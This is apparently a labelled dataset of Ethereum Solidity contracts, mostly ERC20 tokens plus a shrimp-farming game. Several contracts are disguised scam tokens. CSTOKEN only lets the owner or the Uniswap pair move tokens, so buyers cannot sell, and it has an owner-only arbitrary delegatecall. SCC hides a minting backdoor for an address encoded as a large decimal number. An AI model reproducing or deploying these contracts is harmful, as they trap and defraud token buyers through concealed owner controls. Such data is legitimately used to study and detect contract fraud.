function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract CSTOKEN{
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,431 |
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract WesTechToken is StandardToken {
string public constant name = "WesTechCoin";
string public constant symbol = "WTC";
uint8 public constant decimals = 10;
uint256 public constant INITIAL_SUPPLY = 10000000000000000000;
function WesTechToken() {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
} | 1 | 3,654 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract SCC {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1128272879772349028992474526206451541022554459967));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 547 |
pragma solidity ^0.4.24;
contract Oasis{
function getBestOffer(address sell_gem, address buy_gem) public constant returns(uint256);
function getOffer(uint id) public constant returns (uint, address, uint, address);
}
contract EtherShrimpFutures{
using SafeMath for uint;
Oasis market;
address public dai = 0x89d24A6b4CcB1B6fAA2625fE562bDD9a23260359;
address public weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
uint256 public EGGS_TO_HATCH_1SHRIMP=86400;
uint256 public STARTING_SHRIMP=300;
uint256 internal PSN=10000;
uint256 internal PSNH=5000;
bool public initialized=false;
uint256 public marketEggs;
address public ceoAddress;
uint256 public numberOfFarmers;
mapping (address => uint256) public hatcheryShrimp;
mapping (address => uint256) public claimedEggs;
mapping (address => uint256) public lastHatch;
mapping (address => address) public referrals;
mapping (address => uint256) public lastHatchPrice;
address[] farmers;
constructor() public{
ceoAddress=msg.sender;
market = Oasis(0x14FBCA95be7e99C15Cc2996c6C9d841e54B79425);
}
function hatchEggs(address ref) public{
require(initialized);
if(referrals[msg.sender]==0 && referrals[msg.sender]!=msg.sender){
referrals[msg.sender]=ref;
}
uint256 eggsUsed=getMyEggs();
uint256 newShrimp=SafeMath.div(eggsUsed,EGGS_TO_HATCH_1SHRIMP);
hatcheryShrimp[msg.sender]=SafeMath.add(hatcheryShrimp[msg.sender],newShrimp);
claimedEggs[msg.sender]=0;
lastHatch[msg.sender]=now;
lastHatchPrice[msg.sender] = getPrice();
claimedEggs[referrals[msg.sender]]=SafeMath.add(claimedEggs[referrals[msg.sender]],SafeMath.div(eggsUsed,5));
marketEggs=SafeMath.add(marketEggs,SafeMath.div(eggsUsed,10));
}
function sellEggs() public{
require(initialized);
uint256 hasEggs=getMyEggs();
uint256 eggValue=calculateEggSell(hasEggs,msg.sender);
require(eggValue>0);
uint256 fee=devFee(eggValue);
claimedEggs[msg.sender]=0;
lastHatch[msg.sender]=now;
marketEggs=SafeMath.add(marketEggs,hasEggs);
ceoAddress.transfer(fee);
msg.sender.transfer(SafeMath.sub(eggValue,fee));
}
function buyEggs() public payable{
require(initialized);
if(hatcheryShrimp[msg.sender] == 0){
numberOfFarmers += 1;
farmers.push(msg.sender);
}
uint256 eggsBought=calculateEggBuy(msg.value,SafeMath.sub(address(this).balance,msg.value));
eggsBought=SafeMath.sub(eggsBought,devFee(eggsBought));
ceoAddress.transfer(devFee(msg.value));
claimedEggs[msg.sender]=SafeMath.add(claimedEggs[msg.sender],eggsBought);
}
function calculateTrade(uint256 rt,uint256 rs, uint256 bs) public view returns(uint256){
return SafeMath.div( SafeMath.mul(PSN,bs),SafeMath.add(PSNH,SafeMath.div(SafeMath.add(SafeMath.mul(PSN,rs),SafeMath.mul(PSNH,rt)),rt)));
}
function calculateEggSell(uint256 eggs, address adr) public view returns(uint256){
uint sellValue = calculateTrade(eggs,marketEggs,address(this).balance);
uint currentPrice = getPrice();
uint diff = getDiff(currentPrice,lastHatchPrice[adr]);
uint bonusFactor = SafeMath.mul(diff,7);
if(bonusFactor > 1e18) {
bonusFactor = 1e18;
}
return SafeMath.mul(sellValue,bonusFactor).div(1e18);
}
function calculateEggBuy(uint256 eth,uint256 contractBalance) public view returns(uint256){
return calculateTrade(eth,contractBalance,marketEggs);
}
function calculateEggBuySimple(uint256 eth) public view returns(uint256){
return calculateEggBuy(eth,address(this).balance);
}
function devFee(uint256 amount) public view returns(uint256){
return SafeMath.div(SafeMath.mul(amount,2),100);
}
function seedMarket(uint256 eggs) public payable{
require(msg.sender==ceoAddress && eggs != 0);
require(marketEggs==0);
initialized=true;
marketEggs=eggs;
}
function getFreeShrimp() public{
require(initialized);
require(hatcheryShrimp[msg.sender]==0);
numberOfFarmers += 1;
farmers.push(msg.sender);
lastHatch[msg.sender]=now;
lastHatchPrice[msg.sender] = getPrice();
hatcheryShrimp[msg.sender]=STARTING_SHRIMP;
}
function getBalance() public view returns(uint256){
return address(this).balance;
}
function getMyShrimp() public view returns(uint256){
return hatcheryShrimp[msg.sender];
}
function getMyEggs() public view returns(uint256){
return SafeMath.add(claimedEggs[msg.sender],getEggsSinceLastHatch(msg.sender));
}
function getEggsSinceLastHatch(address adr) public view returns(uint256){
uint256 secondsPassed=min(EGGS_TO_HATCH_1SHRIMP,SafeMath.sub(now,lastHatch[adr]));
return SafeMath.mul(secondsPassed,hatcheryShrimp[adr]);
}
function getLastHatchPrice(address adr) public view returns(uint256) {
return lastHatchPrice[adr];
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return a < b ? a : b;
}
function getDiff(uint256 a, uint256 b) public view returns(uint256) {
uint change;
uint diff;
if( a >= b ) change = a - b;
else change = b - a;
if( change != 0 ) diff = SafeMath.div(change*1e18, b);
return diff;
}
function getPrice() public view returns(uint256) {
uint id1 = market.getBestOffer(weth,dai);
uint id2 = market.getBestOffer(dai,weth);
uint payAmt;
uint buyAmt;
address payGem;
address buyGem;
(payAmt, payGem, buyAmt, buyGem) = market.getOffer(id1);
uint price1 = SafeMath.div(buyAmt*1e18, payAmt);
(payAmt, payGem, buyAmt, buyGem) = market.getOffer(id2);
uint price2 = SafeMath.div(payAmt*1e18, buyAmt);
uint avgPrice = SafeMath.add(price1,price2).div(2);
return avgPrice;
}
function getPoolAvgHatchPrice() public view returns(uint256) {
uint256 poolSum;
for(uint i=0; i<farmers.length; i++) {
poolSum = SafeMath.add(lastHatchPrice[farmers[i]],poolSum);
}
return SafeMath.div(poolSum,farmers.length);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 4,600 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract TokenRecover is Ownable {
function recoverERC20(
address _tokenAddress,
uint256 _tokens
)
public
onlyOwner
returns (bool success)
{
return ERC20Basic(_tokenAddress).transfer(owner, _tokens);
}
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage _role, address _addr)
internal
{
_role.bearer[_addr] = true;
}
function remove(Role storage _role, address _addr)
internal
{
_role.bearer[_addr] = false;
}
function check(Role storage _role, address _addr)
internal
view
{
require(has(_role, _addr));
}
function has(Role storage _role, address _addr)
internal
view
returns (bool)
{
return _role.bearer[_addr];
}
}
contract RBAC {
using Roles for Roles.Role;
mapping (string => Roles.Role) private roles;
event RoleAdded(address indexed operator, string role);
event RoleRemoved(address indexed operator, string role);
function checkRole(address _operator, string _role)
public
view
{
roles[_role].check(_operator);
}
function hasRole(address _operator, string _role)
public
view
returns (bool)
{
return roles[_role].has(_operator);
}
function addRole(address _operator, string _role)
internal
{
roles[_role].add(_operator);
emit RoleAdded(_operator, _role);
}
function removeRole(address _operator, string _role)
internal
{
roles[_role].remove(_operator);
emit RoleRemoved(_operator, _role);
}
modifier onlyRole(string _role)
{
checkRole(msg.sender, _role);
_;
}
}
contract RBACMintableToken is MintableToken, RBAC {
string public constant ROLE_MINTER = "minter";
modifier hasMintPermission() {
checkRole(msg.sender, ROLE_MINTER);
_;
}
function addMinter(address _minter) public onlyOwner {
addRole(_minter, ROLE_MINTER);
}
function removeMinter(address _minter) public onlyOwner {
removeRole(_minter, ROLE_MINTER);
}
}
